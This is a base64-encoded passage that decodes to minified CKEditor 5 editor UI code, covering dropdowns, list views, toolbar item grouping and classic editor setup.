JlbmRlcigpO3RoaXMuY2hpbGRyZW4uYWRkKHRoaXMuYXJyb3dWaWV3KX1fY3JlYXRlQXJyb3dWaWV3KCl7Y29uc3QgdD1uZXcgWmI7dC5jb250ZW50PWx3O3QuZXh0ZW5kVGVtcGxhdGUoe2F0dHJpYnV0ZXM6e2NsYXNzOiJjay1kcm9wZG93bl9fYXJyb3cifX0pO3JldHVybiB0fX12YXIgdXc9bigyMSk7dmFyIGh3PXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07aHcuaW5zZXJ0PSJoZWFkIjtody5zaW5nbGV0b249dHJ1ZTt2YXIgZnc9cmsoKSh1d1siYSJdLGh3KTt2YXIgbXc9dXdbImEiXS5sb2NhbHN8fHt9O2NsYXNzIGd3IGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IoKXtzdXBlcigpO3RoaXMuaXRlbXM9dGhpcy5jcmVhdGVDb2xsZWN0aW9uKCk7dGhpcy5mb2N1c1RyYWNrZXI9bmV3IHRrO3RoaXMua2V5c3Ryb2tlcz1uZXcgVnA7dGhpcy5fZm9jdXNDeWNsZXI9bmV3IERiKHtmb2N1c2FibGVzOnRoaXMuaXRlbXMsZm9jdXNUcmFja2VyOnRoaXMuZm9jdXNUcmFja2VyLGtleXN0cm9rZUhhbmRsZXI6dGhpcy5rZXlzdHJva2VzLGFjdGlvbnM6e2ZvY3VzUHJldmlvdXM6ImFycm93dXAiLGZvY3VzTmV4dDoiYXJyb3dkb3duIn19KTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6InVsIixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stcmVzZXQiLCJjay1saXN0Il19LGNoaWxkcmVuOnRoaXMuaXRlbXN9KX1yZW5kZXIoKXtzdXBlci5yZW5kZXIoKTtmb3IoY29uc3QgdCBvZiB0aGlzLml0ZW1zKXt0aGlzLmZvY3VzVHJhY2tlci5hZGQodC5lbGVtZW50KX10aGlzLml0ZW1zLm9uKCJhZGQiLCgodCxlKT0+e3RoaXMuZm9jdXNUcmFja2VyLmFkZChlLmVsZW1lbnQpfSkpO3RoaXMuaXRlbXMub24oInJlbW92ZSIsKCh0LGUpPT57dGhpcy5mb2N1c1RyYWNrZXIucmVtb3ZlKGUuZWxlbWVudCl9KSk7dGhpcy5rZXlzdHJva2VzLmxpc3RlblRvKHRoaXMuZWxlbWVudCl9Zm9jdXMoKXt0aGlzLl9mb2N1c0N5Y2xlci5mb2N1c0ZpcnN0KCl9Zm9jdXNMYXN0KCl7dGhpcy5fZm9jdXNDeWNsZXIuZm9jdXNMYXN0KCl9fWNsYXNzIHB3IGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5jaGlsZHJlbj10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImxpIixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stbGlzdF9faXRlbSJdfSxjaGlsZHJlbjp0aGlzLmNoaWxkcmVufSl9Zm9jdXMoKXt0aGlzLmNoaWxkcmVuLmZpcnN0LmZvY3VzKCl9fWNsYXNzIGt3IGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJsaSIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLWxpc3RfX3NlcGFyYXRvciJdfX0pfX12YXIgYnc9bigyMik7dmFyIHd3PXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07d3cuaW5zZXJ0PSJoZWFkIjt3dy5zaW5nbGV0b249dHJ1ZTt2YXIgQ3c9cmsoKShid1siYSJdLHd3KTt2YXIgQXc9YndbImEiXS5sb2NhbHN8fHt9O2NsYXNzIF93IGV4dGVuZHMgY3d7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5pc1RvZ2dsZWFibGU9dHJ1ZTt0aGlzLnRvZ2dsZVN3aXRjaFZpZXc9dGhpcy5fY3JlYXRlVG9nZ2xlVmlldygpO3RoaXMuZXh0ZW5kVGVtcGxhdGUoe2F0dHJpYnV0ZXM6e2NsYXNzOiJjay1zd2l0Y2hidXR0b24ifX0pfXJlbmRlcigpe3N1cGVyLnJlbmRlcigpO3RoaXMuY2hpbGRyZW4uYWRkKHRoaXMudG9nZ2xlU3dpdGNoVmlldyl9X2NyZWF0ZVRvZ2dsZVZpZXcoKXtjb25zdCB0PW5ldyB0Yjt0LnNldFRlbXBsYXRlKHt0YWc6InNwYW4iLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1idXR0b25fX3RvZ2dsZSJdfSxjaGlsZHJlbjpbe3RhZzoic3BhbiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLWJ1dHRvbl9fdG9nZ2xlX19pbm5lciJdfX1dfSk7cmV0dXJuIHR9fWZ1bmN0aW9uIHZ3KHtlbWl0dGVyOnQsYWN0aXZhdG9yOmUsY2FsbGJhY2s6bixjb250ZXh0RWxlbWVudHM6aX0pe3QubGlzdGVuVG8oZG9jdW1lbnQsIm1vdXNlZG93biIsKCh0LG8pPT57aWYoIWUoKSl7cmV0dXJufWNvbnN0IHI9dHlwZW9mIG8uY29tcG9zZWRQYXRoPT0iZnVuY3Rpb24iP28uY29tcG9zZWRQYXRoKCk6W107Zm9yKGNvbnN0IHQgb2YgaSl7aWYodC5jb250YWlucyhvLnRhcmdldCl8fHIuaW5jbHVkZXModCkpe3JldHVybn19bigpfSkpfXZhciB5dz1uKDIzKTt2YXIgeHc9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTt4dy5pbnNlcnQ9ImhlYWQiO3h3LnNpbmdsZXRvbj10cnVlO3ZhciBEdz1yaygpKHl3WyJhIl0seHcpO3ZhciBFdz15d1siYSJdLmxvY2Fsc3x8e307dmFyIE13PW4oMjQpO3ZhciBTdz17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O1N3Lmluc2VydD0iaGVhZCI7U3cuc2luZ2xldG9uPXRydWU7dmFyIFR3PXJrKCkoTXdbImEiXSxTdyk7dmFyIEl3PU13WyJhIl0ubG9jYWxzfHx7fTtmdW5jdGlvbiBOdyh0LGU9ZHcpe2NvbnN0IG49bmV3IGUodCk7Y29uc3QgaT1uZXcgUGIodCk7Y29uc3Qgbz1uZXcgcWIodCxuLGkpO24uYmluZCgiaXNFbmFibGVkIikudG8obyk7aWYobiBpbnN0YW5jZW9mIGR3KXtuLmJpbmQoImlzT24iKS50byhvLCJpc09wZW4iKX1lbHNle24uYXJyb3dWaWV3LmJpbmQoImlzT24iKS50byhvLCJpc09wZW4iKX16dyhvKTtyZXR1cm4gb31mdW5jdGlvbiBCdyh0LGUpe2NvbnN0IG49dC5sb2NhbGU7Y29uc3QgaT1uLnQ7Y29uc3Qgbz10LnRvb2xiYXJWaWV3PW5ldyBHdyhuKTtvLnNldCgiYXJpYUxhYmVsIixpKCJEcm9wZG93biB0b29sYmFyIikpO3QuZXh0ZW5kVGVtcGxhdGUoe2F0dHJpYnV0ZXM6e2NsYXNzOlsiY2stdG9vbGJhci1kcm9wZG93biJdfX0pO2UubWFwKCh0PT5vLml0ZW1zLmFkZCh0KSkpO3QucGFuZWxWaWV3LmNoaWxkcmVuLmFkZChvKTtvLml0ZW1zLmRlbGVnYXRlKCJleGVjdXRlIikudG8odCl9ZnVuY3Rpb24gUHcodCxlKXtjb25zdCBuPXQubG9jYWxlO2NvbnN0IGk9dC5saXN0Vmlldz1uZXcgZ3cobik7aS5pdGVtcy5iaW5kVG8oZSkudXNpbmcoKCh7dHlwZTp0LG1vZGVsOmV9KT0+e2lmKHQ9PT0ic2VwYXJhdG9yIil7cmV0dXJuIG5ldyBrdyhuKX1lbHNlIGlmKHQ9PT0iYnV0dG9uInx8dD09PSJzd2l0Y2hidXR0b24iKXtjb25zdCBpPW5ldyBwdyhuKTtsZXQgbztpZih0PT09ImJ1dHRvbiIpe289bmV3IGN3KG4pfWVsc2V7bz1uZXcgX3cobil9by5iaW5kKC4uLk9iamVjdC5rZXlzKGUpKS50byhlKTtvLmRlbGVnYXRlKCJleGVjdXRlIikudG8oaSk7aS5jaGlsZHJlbi5hZGQobyk7cmV0dXJuIGl9fSkpO3QucGFuZWxWaWV3LmNoaWxkcmVuLmFkZChpKTtpLml0ZW1zLmRlbGVnYXRlKCJleGVjdXRlIikudG8odCl9ZnVuY3Rpb24gencodCl7THcodCk7T3codCk7UncodCl9ZnVuY3Rpb24gTHcodCl7dC5vbigicmVuZGVyIiwoKCk9Pnt2dyh7ZW1pdHRlcjp0LGFjdGl2YXRvcjooKT0+dC5pc09wZW4sY2FsbGJhY2s6KCk9Pnt0LmlzT3Blbj1mYWxzZX0sY29udGV4dEVsZW1lbnRzOlt0LmVsZW1lbnRdfSl9KSl9ZnVuY3Rpb24gT3codCl7dC5vbigiZXhlY3V0ZSIsKGU9PntpZihlLnNvdXJjZSBpbnN0YW5jZW9mIF93KXtyZXR1cm59dC5pc09wZW49ZmFsc2V9KSl9ZnVuY3Rpb24gUncodCl7dC5rZXlzdHJva2VzLnNldCgiYXJyb3dkb3duIiwoKGUsbik9PntpZih0LmlzT3Blbil7dC5wYW5lbFZpZXcuZm9jdXMoKTtuKCl9fSkpO3Qua2V5c3Ryb2tlcy5zZXQoImFycm93dXAiLCgoZSxuKT0+e2lmKHQuaXNPcGVuKXt0LnBhbmVsVmlldy5mb2N1c0xhc3QoKTtuKCl9fSkpfXZhciBqdz0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGNpcmNsZSBjeD0iOS41IiBjeT0iNC41IiByPSIxLjUiLz48Y2lyY2xlIGN4PSI5LjUiIGN5PSIxMC41IiByPSIxLjUiLz48Y2lyY2xlIGN4PSI5LjUiIGN5PSIxNi41IiByPSIxLjUiLz48L3N2Zz4nO3ZhciBGdz1uKDI1KTt2YXIgVnc9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtWdy5pbnNlcnQ9ImhlYWQiO1Z3LnNpbmdsZXRvbj10cnVlO3ZhciBVdz1yaygpKEZ3WyJhIl0sVncpO3ZhciBIdz1Gd1siYSJdLmxvY2Fsc3x8e307Y2xhc3MgR3cgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKHQpO2NvbnN0IG49dGhpcy5iaW5kVGVtcGxhdGU7Y29uc3QgaT10aGlzLnQ7dGhpcy5vcHRpb25zPWV8fHt9O3RoaXMuc2V0KCJhcmlhTGFiZWwiLGkoIkVkaXRvciB0b29sYmFyIikpO3RoaXMuc2V0KCJtYXhXaWR0aCIsImF1dG8iKTt0aGlzLml0ZW1zPXRoaXMuY3JlYXRlQ29sbGVjdGlvbigpO3RoaXMuZm9jdXNUcmFja2VyPW5ldyB0azt0aGlzLmtleXN0cm9rZXM9bmV3IFZwO3RoaXMuc2V0KCJjbGFzcyIpO3RoaXMuc2V0KCJpc0NvbXBhY3QiLGZhbHNlKTt0aGlzLml0ZW1zVmlldz1uZXcgV3codCk7dGhpcy5jaGlsZHJlbj10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLmNoaWxkcmVuLmFkZCh0aGlzLml0ZW1zVmlldyk7dGhpcy5mb2N1c2FibGVzPXRoaXMuY3JlYXRlQ29sbGVjdGlvbigpO3RoaXMuX2ZvY3VzQ3ljbGVyPW5ldyBEYih7Zm9jdXNhYmxlczp0aGlzLmZvY3VzYWJsZXMsZm9jdXNUcmFja2VyOnRoaXMuZm9jdXNUcmFja2VyLGtleXN0cm9rZUhhbmRsZXI6dGhpcy5rZXlzdHJva2VzLGFjdGlvbnM6e2ZvY3VzUHJldmlvdXM6WyJhcnJvd2xlZnQiLCJhcnJvd3VwIl0sZm9jdXNOZXh0OlsiYXJyb3dyaWdodCIsImFycm93ZG93biJdfX0pO2NvbnN0IG89WyJjayIsImNrLXRvb2xiYXIiLG4udG8oImNsYXNzIiksbi5pZigiaXNDb21wYWN0IiwiY2stdG9vbGJhcl9jb21wYWN0IildO2lmKHRoaXMub3B0aW9ucy5zaG91bGRHcm91cFdoZW5GdWxsJiZ0aGlzLm9wdGlvbnMuaXNGbG9hdGluZyl7by5wdXNoKCJjay10b29sYmFyX2Zsb2F0aW5nIil9dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOm8scm9sZToidG9vbGJhciIsImFyaWEtbGFiZWwiOm4udG8oImFyaWFMYWJlbCIpLHN0eWxlOnttYXhXaWR0aDpuLnRvKCJtYXhXaWR0aCIpfX0sY2hpbGRyZW46dGhpcy5jaGlsZHJlbixvbjp7bW91c2Vkb3duOkJiKHRoaXMpfX0pO3RoaXMuX2JlaGF2aW9yPXRoaXMub3B0aW9ucy5zaG91bGRHcm91cFdoZW5GdWxsP25ldyBxdyh0aGlzKTpuZXcgS3codGhpcyl9cmVuZGVyKCl7c3VwZXIucmVuZGVyKCk7Zm9yKGNvbnN0IHQgb2YgdGhpcy5pdGVtcyl7dGhpcy5mb2N1c1RyYWNrZXIuYWRkKHQuZWxlbWVudCl9dGhpcy5pdGVtcy5vbigiYWRkIiwoKHQsZSk9Pnt0aGlzLmZvY3VzVHJhY2tlci5hZGQoZS5lbGVtZW50KX0pKTt0aGlzLml0ZW1zLm9uKCJyZW1vdmUiLCgodCxlKT0+e3RoaXMuZm9jdXNUcmFja2VyLnJlbW92ZShlLmVsZW1lbnQpfSkpO3RoaXMua2V5c3Ryb2tlcy5saXN0ZW5Ubyh0aGlzLmVsZW1lbnQpO3RoaXMuX2JlaGF2aW9yLnJlbmRlcih0aGlzKX1kZXN0cm95KCl7dGhpcy5fYmVoYXZpb3IuZGVzdHJveSgpO3JldHVybiBzdXBlci5kZXN0cm95KCl9Zm9jdXMoKXt0aGlzLl9mb2N1c0N5Y2xlci5mb2N1c0ZpcnN0KCl9Zm9jdXNMYXN0KCl7dGhpcy5fZm9jdXNDeWNsZXIuZm9jdXNMYXN0KCl9ZmlsbEZyb21Db25maWcodCxlKXt0aGlzLml0ZW1zLmFkZE1hbnkodC5tYXAoKG49PntpZihuPT0ifCIpe3JldHVybiBuZXcgTWJ9ZWxzZSBpZihuPT0iLSIpe2lmKHRoaXMub3B0aW9ucy5zaG91bGRHcm91cFdoZW5GdWxsKXtPYmplY3Qoc3NbImMiXSkoInRvb2xiYXJ2aWV3LWxpbmUtYnJlYWstaWdub3JlZC13aGVuLWdyb3VwaW5nLWl0ZW1zIix0KX1yZXR1cm4gbmV3IFNifWVsc2UgaWYoZS5oYXMobikpe3JldHVybiBlLmNyZWF0ZShuKX1lbHNle09iamVjdChzc1siYyJdKSgidG9vbGJhcnZpZXctaXRlbS11bmF2YWlsYWJsZSIse25hbWU6bn0pfX0pKS5maWx0ZXIoKHQ9PnQhPT11bmRlZmluZWQpKSl9fWNsYXNzIFd3IGV4dGVuZHMgdGJ7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5jaGlsZHJlbj10aGlzLmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLXRvb2xiYXJfX2l0ZW1zIl19LGNoaWxkcmVuOnRoaXMuY2hpbGRyZW59KX19Y2xhc3MgS3d7Y29uc3RydWN0b3IodCl7Y29uc3QgZT10LmJpbmRUZW1wbGF0ZTt0LnNldCgiaXNWZXJ0aWNhbCIsZmFsc2UpO3QuaXRlbXNWaWV3LmNoaWxkcmVuLmJpbmRUbyh0Lml0ZW1zKS51c2luZygodD0+dCkpO3QuZm9jdXNhYmxlcy5iaW5kVG8odC5pdGVtcykudXNpbmcoKHQ9PnQpKTt0LmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOntjbGFzczpbZS5pZigiaXNWZXJ0aWNhbCIsImNrLXRvb2xiYXJfdmVydGljYWwiKV19fSl9cmVuZGVyKCl7fWRlc3Ryb3koKXt9fWNsYXNzIHF3e2NvbnN0cnVjdG9yKHQpe3RoaXMudmlldz10O3RoaXMudmlld0NoaWxkcmVuPXQuY2hpbGRyZW47dGhpcy52aWV3Rm9jdXNhYmxlcz10LmZvY3VzYWJsZXM7dGhpcy52aWV3SXRlbXNWaWV3PXQuaXRlbXNWaWV3O3RoaXMudmlld0ZvY3VzVHJhY2tlcj10LmZvY3VzVHJhY2tlcjt0aGlzLnZpZXdMb2NhbGU9dC5sb2NhbGU7dGhpcy51bmdyb3VwZWRJdGVtcz10LmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLmdyb3VwZWRJdGVtcz10LmNyZWF0ZUNvbGxlY3Rpb24oKTt0aGlzLmdyb3VwZWRJdGVtc0Ryb3Bkb3duPXRoaXMuX2NyZWF0ZUdyb3VwZWRJdGVtc0Ryb3Bkb3duKCk7dGhpcy5yZXNpemVPYnNlcnZlcj1udWxsO3RoaXMuY2FjaGVkUGFkZGluZz1udWxsO3RoaXMuc2hvdWxkVXBkYXRlR3JvdXBpbmdPbk5leHRSZXNpemU9ZmFsc2U7dC5pdGVtc1ZpZXcuY2hpbGRyZW4uYmluZFRvKHRoaXMudW5ncm91cGVkSXRlbXMpLnVzaW5nKCh0PT50KSk7dGhpcy51bmdyb3VwZWRJdGVtcy5vbigiYWRkIix0aGlzLl91cGRhdGVGb2N1c0N5Y2xlYWJsZUl0ZW1zLmJpbmQodGhpcykpO3RoaXMudW5ncm91cGVkSXRlbXMub24oInJlbW92ZSIsdGhpcy5fdXBkYXRlRm9jdXNDeWNsZWFibGVJdGVtcy5iaW5kKHRoaXMpKTt0LmNoaWxkcmVuLm9uKCJhZGQiLHRoaXMuX3VwZGF0ZUZvY3VzQ3ljbGVhYmxlSXRlbXMuYmluZCh0aGlzKSk7dC5jaGlsZHJlbi5vbigicmVtb3ZlIix0aGlzLl91cGRhdGVGb2N1c0N5Y2xlYWJsZUl0ZW1zLmJpbmQodGhpcykpO3QuaXRlbXMub24oImNoYW5nZSIsKCh0LGUpPT57Y29uc3Qgbj1lLmluZGV4O2Zvcihjb25zdCB0IG9mIGUucmVtb3ZlZCl7aWYobj49dGhpcy51bmdyb3VwZWRJdGVtcy5sZW5ndGgpe3RoaXMuZ3JvdXBlZEl0ZW1zLnJlbW92ZSh0KX1lbHNle3RoaXMudW5ncm91cGVkSXRlbXMucmVtb3ZlKHQpfX1mb3IobGV0IHQ9bjt0PG4rZS5hZGRlZC5sZW5ndGg7dCsrKXtjb25zdCBpPWUuYWRkZWRbdC1uXTtpZih0PnRoaXMudW5ncm91cGVkSXRlbXMubGVuZ3RoKXt0aGlzLmdyb3VwZWRJdGVtcy5hZGQoaSx0LXRoaXMudW5ncm91cGVkSXRlbXMubGVuZ3RoKX1lbHNle3RoaXMudW5ncm91cGVkSXRlbXMuYWRkKGksdCl9fXRoaXMuX3VwZGF0ZUdyb3VwaW5nKCl9KSk7dC5leHRlbmRUZW1wbGF0ZSh7YXR0cmlidXRlczp7Y2xhc3M6WyJjay10b29sYmFyX2dyb3VwaW5nIl19fSl9cmVuZGVyKHQpe3RoaXMudmlld0VsZW1lbnQ9dC5lbGVtZW50O3RoaXMuX2VuYWJsZUdyb3VwaW5nT25SZXNpemUoKTt0aGlzLl9lbmFibGVHcm91cGluZ09uTWF4V2lkdGhDaGFuZ2UodCl9ZGVzdHJveSgpe3RoaXMuZ3JvdXBlZEl0ZW1zRHJvcGRvd24uZGVzdHJveSgpO3RoaXMucmVzaXplT2JzZXJ2ZXIuZGVzdHJveSgpfV91cGRhdGVHcm91cGluZygpe2lmKCF0aGlzLnZpZXdFbGVtZW50Lm93bmVyRG9jdW1lbnQuYm9keS5jb250YWlucyh0aGlzLnZpZXdFbGVtZW50KSl7cmV0dXJufWlmKCF0aGlzLnZpZXdFbGVtZW50Lm9mZnNldFBhcmVudCl7dGhpcy5zaG91bGRVcGRhdGVHcm91cGluZ09uTmV4dFJlc2l6ZT10cnVlO3JldHVybn1jb25zdCB0PXRoaXMuZ3JvdXBlZEl0ZW1zLmxlbmd0aDtsZXQgZTt3aGlsZSh0aGlzLl9hcmVJdGVtc092ZXJmbG93aW5nKXt0aGlzLl9ncm91cExhc3RJdGVtKCk7ZT10cnVlfWlmKCFlJiZ0aGlzLmdyb3VwZWRJdGVtcy5sZW5ndGgpe3doaWxlKHRoaXMuZ3JvdXBlZEl0ZW1zLmxlbmd0aCYmIXRoaXMuX2FyZUl0ZW1zT3ZlcmZsb3dpbmcpe3RoaXMuX3VuZ3JvdXBGaXJzdEl0ZW0oKX1pZih0aGlzLl9hcmVJdGVtc092ZXJmbG93aW5nKXt0aGlzLl9ncm91cExhc3RJdGVtKCl9fWlmKHRoaXMuZ3JvdXBlZEl0ZW1zLmxlbmd0aCE9PXQpe3RoaXMudmlldy5maXJlKCJncm91cGVkSXRlbXNVcGRhdGUiKX19Z2V0IF9hcmVJdGVtc092ZXJmbG93aW5nKCl7aWYoIXRoaXMudW5ncm91cGVkSXRlbXMubGVuZ3RoKXtyZXR1cm4gZmFsc2V9Y29uc3QgdD10aGlzLnZpZXdFbGVtZW50O2NvbnN0IGU9dGhpcy52aWV3TG9jYWxlLnVpTGFuZ3VhZ2VEaXJlY3Rpb247Y29uc3Qgbj1uZXcgRWgodC5sYXN0Q2hpbGQpO2NvbnN0IGk9bmV3IEVoKHQpO2lmKCF0aGlzLmNhY2hlZFBhZGRpbmcpe2NvbnN0IG49amQud2luZG93LmdldENvbXB1dGVkU3R5bGUodCk7Y29uc3QgaT1lPT09Imx0ciI/InBhZGRpbmdSaWdodCI6InBhZGRpbmdMZWZ0Ijt0aGlzLmNhY2hlZFBhZGRpbmc9TnVtYmVyLnBhcnNlSW50KG5baV0pfWlmKGU9PT0ibHRyIil7cmV0dXJuIG4ucmlnaHQ+aS5yaWdodC10aGlzLmNhY2hlZFBhZGRpbmd9ZWxzZXtyZXR1cm4gbi5sZWZ0PGkubGVmdCt0aGlzLmNhY2hlZFBhZGRpbmd9fV9lbmFibGVHcm91cGluZ09uUmVzaXplKCl7bGV0IHQ7dGhpcy5yZXNpemVPYnNlcnZlcj1uZXcgSWIodGhpcy52aWV3RWxlbWVudCwoZT0+e2lmKCF0fHx0IT09ZS5jb250ZW50UmVjdC53aWR0aHx8dGhpcy5zaG91bGRVcGRhdGVHcm91cGluZ09uTmV4dFJlc2l6ZSl7dGhpcy5zaG91bGRVcGRhdGVHcm91cGluZ09uTmV4dFJlc2l6ZT1mYWxzZTt0aGlzLl91cGRhdGVHcm91cGluZygpO3Q9ZS5jb250ZW50UmVjdC53aWR0aH19KSk7dGhpcy5fdXBkYXRlR3JvdXBpbmcoKX1fZW5hYmxlR3JvdXBpbmdPbk1heFdpZHRoQ2hhbmdlKHQpe3Qub24oImNoYW5nZTptYXhXaWR0aCIsKCgpPT57dGhpcy5fdXBkYXRlR3JvdXBpbmcoKX0pKX1fZ3JvdXBMYXN0SXRlbSgpe2lmKCF0aGlzLmdyb3VwZWRJdGVtcy5sZW5ndGgpe3RoaXMudmlld0NoaWxkcmVuLmFkZChuZXcgTWIpO3RoaXMudmlld0NoaWxkcmVuLmFkZCh0aGlzLmdyb3VwZWRJdGVtc0Ryb3Bkb3duKTt0aGlzLnZpZXdGb2N1c1RyYWNrZXIuYWRkKHRoaXMuZ3JvdXBlZEl0ZW1zRHJvcGRvd24uZWxlbWVudCl9dGhpcy5ncm91cGVkSXRlbXMuYWRkKHRoaXMudW5ncm91cGVkSXRlbXMucmVtb3ZlKHRoaXMudW5ncm91cGVkSXRlbXMubGFzdCksMCl9X3VuZ3JvdXBGaXJzdEl0ZW0oKXt0aGlzLnVuZ3JvdXBlZEl0ZW1zLmFkZCh0aGlzLmdyb3VwZWRJdGVtcy5yZW1vdmUodGhpcy5ncm91cGVkSXRlbXMuZmlyc3QpKTtpZighdGhpcy5ncm91cGVkSXRlbXMubGVuZ3RoKXt0aGlzLnZpZXdDaGlsZHJlbi5yZW1vdmUodGhpcy5ncm91cGVkSXRlbXNEcm9wZG93bik7dGhpcy52aWV3Q2hpbGRyZW4ucmVtb3ZlKHRoaXMudmlld0NoaWxkcmVuLmxhc3QpO3RoaXMudmlld0ZvY3VzVHJhY2tlci5yZW1vdmUodGhpcy5ncm91cGVkSXRlbXNEcm9wZG93bi5lbGVtZW50KX19X2NyZWF0ZUdyb3VwZWRJdGVtc0Ryb3Bkb3duKCl7Y29uc3QgdD10aGlzLnZpZXdMb2NhbGU7Y29uc3QgZT10LnQ7Y29uc3Qgbj1Odyh0KTtuLmNsYXNzPSJjay10b29sYmFyX19ncm91cGVkLWRyb3Bkb3duIjtuLnBhbmVsUG9zaXRpb249dC51aUxhbmd1YWdlRGlyZWN0aW9uPT09Imx0ciI/InN3Ijoic2UiO0J3KG4sW10pO24uYnV0dG9uVmlldy5zZXQoe2xhYmVsOmUoIlNob3cgbW9yZSBpdGVtcyIpLHRvb2x0aXA6dHJ1ZSxpY29uOmp3fSk7bi50b29sYmFyVmlldy5pdGVtcy5iaW5kVG8odGhpcy5ncm91cGVkSXRlbXMpLnVzaW5nKCh0PT50KSk7cmV0dXJuIG59X3VwZGF0ZUZvY3VzQ3ljbGVhYmxlSXRlbXMoKXt0aGlzLnZpZXdGb2N1c2FibGVzLmNsZWFyKCk7dGhpcy51bmdyb3VwZWRJdGVtcy5tYXAoKHQ9Pnt0aGlzLnZpZXdGb2N1c2FibGVzLmFkZCh0KX0pKTtpZih0aGlzLmdyb3VwZWRJdGVtcy5sZW5ndGgpe3RoaXMudmlld0ZvY3VzYWJsZXMuYWRkKHRoaXMuZ3JvdXBlZEl0ZW1zRHJvcGRvd24pfX19dmFyIFl3PW4oMjYpO3ZhciBRdz17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O1F3Lmluc2VydD0iaGVhZCI7UXcuc2luZ2xldG9uPXRydWU7dmFyICR3PXJrKCkoWXdbImEiXSxRdyk7dmFyIEp3PVl3WyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBadyBleHRlbmRzIHBie2NvbnN0cnVjdG9yKHQsZSxuPXt9KXtzdXBlcih0KTt0aGlzLnN0aWNreVBhbmVsPW5ldyB4Yih0KTt0aGlzLnRvb2xiYXI9bmV3IEd3KHQse3Nob3VsZEdyb3VwV2hlbkZ1bGw6bi5zaG91bGRUb29sYmFyR3JvdXBXaGVuRnVsbH0pO3RoaXMuZWRpdGFibGU9bmV3IGJiKHQsZSl9cmVuZGVyKCl7c3VwZXIucmVuZGVyKCk7dGhpcy5zdGlja3lQYW5lbC5jb250ZW50LmFkZCh0aGlzLnRvb2xiYXIpO3RoaXMudG9wLmFkZCh0aGlzLnN0aWNreVBhbmVsKTt0aGlzLm1haW4uYWRkKHRoaXMuZWRpdGFibGUpfX1mdW5jdGlvbiBYdyh0KXtpZih0IGluc3RhbmNlb2YgSFRNTFRleHRBcmVhRWxlbWVudCl7cmV0dXJuIHQudmFsdWV9cmV0dXJuIHQuaW5uZXJIVE1MfWNsYXNzIHRDIGV4dGVuZHMgSHB7Y29uc3RydWN0b3IodCxlKXtzdXBlcihlKTtpZihZcih0KSl7dGhpcy5zb3VyY2VFbGVtZW50PXR9dGhpcy5kYXRhLnByb2Nlc3Nvcj1uZXcgSnAodGhpcy5kYXRhLnZpZXdEb2N1bWVudCk7dGhpcy5tb2RlbC5kb2N1bWVudC5jcmVhdGVSb290KCk7Y29uc3Qgbj0hdGhpcy5jb25maWcuZ2V0KCJ0b29sYmFyLnNob3VsZE5vdEdyb3VwV2hlbkZ1bGwiKTtjb25zdCBpPW5ldyBadyh0aGlzLmxvY2FsZSx0aGlzLmVkaXRpbmcudmlldyx7c2hvdWxkVG9vbGJhckdyb3VwV2hlbkZ1bGw6bn0pO3RoaXMudWk9bmV3IENrKHRoaXMsaSk7UXAodGhpcyl9ZGVzdHJveSgpe2lmKHRoaXMuc291cmNlRWxlbWVudCl7dGhpcy51cGRhdGVTb3VyY2VFbGVtZW50KCl9dGhpcy51aS5kZXN0cm95KCk7cmV0dXJuIHN1cGVyLmRlc3Ryb3koKX1zdGF0aWMgY3JlYXRlKHQsZT17fSl7cmV0dXJuIG5ldyBQcm9taXNlKChuPT57Y29uc3QgaT1uZXcgdGhpcyh0LGUpO24oaS5pbml0UGx1Z2lucygpLnRoZW4oKCgpPT5pLnVpLmluaXQoWXIodCk/dDpudWxsKSkpLnRoZW4oKCgpPT57aWYoIVlyKHQpJiZlLmluaXRpYWxEYXRhKXt0aHJvdyBuZXcgc3NbImEiXSgiZWRpdG9yLWNyZWF0ZS1pbml0aWFsLWRhdGEiLG51bGwpfWNvbnN0IG49ZS5pbml0aWFsRGF0YXx8ZUModCk7cmV0dXJuIGkuZGF0YS5pbml0KG4pfSkpLnRoZW4oKCgpPT5pLmZpcmUoInJlYWR5IikpKS50aGVuKCgoKT0+aSkpKX0pKX19X3ModEMsV3ApO19zKHRDLFlwKTtmdW5jdGlvbiBlQyh0KXtyZXR1cm4gWXIodCk/WHcodCk